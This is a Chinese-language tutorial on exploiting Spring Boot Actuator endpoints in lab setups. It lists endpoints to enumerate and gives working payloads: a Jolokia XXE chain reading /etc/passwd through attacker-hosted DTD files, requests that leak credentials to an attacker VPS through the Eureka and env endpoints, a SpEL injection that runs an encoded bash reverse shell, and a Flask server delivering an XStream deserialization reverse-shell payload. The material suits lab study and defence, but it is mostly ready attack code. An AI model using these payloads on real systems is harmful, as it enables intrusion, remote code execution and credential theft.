SpringBoot
SpringBoot简介
Spring框架为开发Java应用程序提供了全面的基础架构支持。它包含一些很好的功能,如依赖注入和开 箱即用的模块,如:Spring JDBC 、Spring MVC 、Spring Security、 Spring AOP 、Spring ORM 、 Spring Test,这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早 期阶段,我们需要编写大量的代码来将记录插入到数据库中。但是通过使用Spring JDBC模块的 JDBCTemplate,我们可以将操作简化为几行代码。 Spring Boot 是 Pivotal 团队在 Spring 的基础上提供的一套全新的开源框架,其目的是为了简化 Spring 应用的搭建和开发过程。 Actuator是SpringBoot自带监控功能Actuator,可以帮助实现对程序内部运行情况监控,比如监控状 况、Bean加载情况、环境变量、日志信息、线程信息等
SpringBoot特征
1.默认报错的页面 ,404 405 都一样
SpringBoot常见端点
/autoconfig 提供了一份自动配置报告,记录哪此自动配置条件通过了,哪些没通过
/contigprops 描述配置属性 (包含默认值) 如何注入 Bean
/beans 描述应用程序上下文里全部的 Bean,以及它们的关系
/dump 获取线程活动的快照 (常见)
/env 获取全部环境属性 (常见)
/env/(name) 根据名称获取特定的环境属性值
/health 报告应用程序的健康指标,这些值由 Healthlndicator 的实现类提供 (常见)
/info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
mappings 描述全部的 URI 路径,以及它们和控制器 (包含 Actuator 端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
/metrics/(name) 报告指定名称的应用程序度量值
/shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true (默认为 false)
/trace 提供基本的 HTTP 请求跟踪信息 (时间截、HTTP 头等)
例子
1.x版本:http://ip:port/env
2.x版本:http://ip:port/actuator/env
SpringBoot历史漏洞
whitelabel error page SpEL RCE
spring cloud SnakeYAML RCE
eureka xstream deserialization RCE
jolokia logback JNDI RCE
jolokia Realm JNDI RCE
restart h2 database query RCE
h2 database console JNDI RCE
mysql jdbc deserialization RCE
restart logging.config logback JNDI RCE
restart logging.config groovy RCE
restart spring.main.sources groovy RCE
restart spring.datasource.data h2 database RCE
SpringBoot历史漏洞发现
端口的暴露导致漏洞产生
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
可以通过wfuzz去枚举,也可以用bp来实现,可根据状态码去判断是否可以访问到目录信息。
更多的接口信息看这个网址 : https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
SpringBoot历史漏洞复现
Jolokia XXE任意文件读取
环境搭建
1.下载环境,然后进入src/main/resources目录,修改application.properties配置文件,把127.0.0.1改成0.0.0.0,然后再为其添加数据库的内容。
//下载
git clone https://github.com/veracode-research/actuator-testbed.git
//修改文件
vim src/main/resources/application.properties
//数据库配置内容
spring.datasource .name=druidDataSource
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://localhost:3306/sakila?characterEncoding=utf-8&allowMultiQueries=true&autoReconnect=true
spring.datasource.username=panda
spring.datasource.password=123456
2.修改完成后,开始编译环境。没下载maven要先下载。
mvn install
mvn spring-boot:run
3.搭建成功访问8090端口(在kali或者自己的vps上搭建的话,不用的时候记得将其关闭)
漏洞检测
1.使用脚本工具SB-Actuator.py进行探测
python .\SB-Actuator.py -u http://192.168.42.132:8090
2.访问网站的/jolokia/list 目录,查找是否存在logback 库提供的reloadByURL方法,如果有,那就证明可利用该漏洞。
复现过程
1.如果找到存在reloadByURL方法,就在攻击机上创建一个logback.xml,一个ian.dtd文件。
//logback.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM
"http://192.168.42.132:8000/ian.dtd">%remote;%int;]>
<a>&trick;</a>
//ian.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
2.创建完成后,在他们两个的当前目录开启http服务,用于后续请求。
3.访问网站,构造payload对攻击机上的文件进行请求。
http://192.168.42.132:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.42.132:8000!/logback.xml
4.攻击机上发现文件被访问到,然后在网页上可看见/etc/passwd文件的内容。(ian.dtd 内还可以修改为其他攻击者想访问到的文件)
/etc/password文件的内容
漏洞利用-env敏感信息脱星
复现过程(方法一)
利用条件:目标网站存在/jolokia 或者 /actuator/jolokia接口
目标使用了jolokia-core以来
1.访问http://ip:8090/env 可以查看到直接泄露的环境变量、内网地址、配置中的用户名等信息,也有可能暴露明文密码。
2.找到属性名,使用bp抓包,抓/jolokia的包,发送到重发模块,修改包为post请求,把传输的变量改json,然后加上下面的poc,重放这个包,明文值结果包含 在 response 数据包中的 value 键中。
注意:每个1.x 版本和2.x 版本不同。
//spring 1.x
{
"mbean":
"org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
"operation": "getProperty",
"type": "EXEC",
"arguments": ["security.user.password"],
}
//spring 2.x
{
"mbean":
"org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
"operation": "getProperty",
"type": "EXEC",
"arguments": ["security.user.password"],
}
复现过程(方法二)
利用的条件:
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)
1.先用Bp去看 env接口是否可以get post 请求成功,返回状态码为成功,然后再测试/refresh 接口 的post请求,都可以的话,就可以尝试进行攻击。
2.使用bp抓访问/env的包,构造攻击请求,重发过去。版本不同,poc也不同
//1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
//spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security. user.password}@your-vps-ip"}
3.监听80端口,然后bp进行发送后,访问/refresh,进行刷新,会直接监听得到信息,然后进行base64解码就可以看见密码。
远程代码执行
whitelabel error page SpEL RCE
环境搭建
https://github.com/LandGrey/SpringBootVulExploit
下载下来后,进入SpringBootVulExploit/repository/springboot-spel-rce/src/main/resources/application.properties 去修改,然后编译运行,然后访问9091端口,会看见搭建成功的默认的404页面。
server.port=9091
#server.address=127.0.0.1
server.address=0.0.0.0
//编译启动
mvn spring-boot:run
利用条件
spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
至少知道一个触发 springboot 默认错误页面的接口及参数名
漏洞原理
- spring boot 处理参数值出错,流程进 入 org.springframework.util.PropertyPlaceholderHelper 类中
- 此时 URL 中的参数值会用 parseStringValue方法进行递归解析
- 其中 ${} 包围的内容都会 被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类 的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
复现过程
1.找到一个正常传参处,比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后 续 payload 都将会在参数 id 处尝试。
2.执行 SpEL 表达式。输入 /article?id=${77} ,如果发现报错页面将 77 的值 49 计算出来显示在报错页面上,那么基 本可以确定目标存在 SpEL 表达式注入漏洞。
3.由字符串格式转换成 0x** java 字节形式,方便执行任意代码。先将字符的命令转换成字节的,然后payload通过Java的getruntime().exec命令去执行 new String (new byte[])转成的字符命令。
//转字节的脚本
# coding: utf-8
result = ""
target = 'touch /tmp/mingy'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
//执行payload
http://127.0.0.1:9091/article? id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[] {0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x6d,0x69,0x6e,0x67,0x79 }))}
利用touch命令在tmp目录下创建mingy的文件
2.执行反弹shell 的操作,先转成base64 的形式,然后再转成0x 字节的形式,访问payload,在攻击机上开启监听6666端口,执行后,可以看到返回的shell,直接在其目录下了。
//反弹Shell
bash -i >& /dev/tcp/192.168.42.138/6666 0>&1
//转化的格式base
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
//payload
http://192.168.42.132:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[] {0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x51,0x79,0x4c,0x6a,0x45,0x7a,0x4f,0x43,0x38,0x32,0x4e,0x6a,0x59,0x32,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}
eureka xstream deserialization RCE
环境搭建
修改 SpringBootVulExploit/repository/springboot-eureka-xstreamrce/src/main/resources/application.properties
erver.port=9093
#server.address=127.0.0.1
server.address=0.0.0.0
mvn spring-boot:run
搭建成功
利用条件
可以 POST 请求目标网站的 /env 接口设置属性
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)
目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eurekaclient 依赖中)
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞原理
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地 址
- refresh 触发目标机器请求远程 URL ,提前架设的 f ake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload ,触发 XStream 反序列化,造成 RCE 漏洞
复现过程
1.架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反 弹shell。 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址 和 端口号。
2.在脚本的command中输入base64 转码的shell,然后在攻击机上搭建恶意网站,利用python3 server.py 开启。
//反弹shell脚本
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=88)
3.抓目标网站的/env的包,修改为post请求,根据设置eureka.client.serviceUrl.defaultZone 属性,来输入要请求到的恶意网站,同时在攻击机上开启监听。重发后,发现响应200 说明访问成功,然后再重发/refresh 更新数据请求,最后成功反弹shell。
注意:版本不同springboot, 使用的命令也不同。刷新也是,2.0传输的参数是json
spring 1.x
POST /env Content-Type: application/x-www-form-urlencoded eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env Content-Type: application/json {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vpsip/example"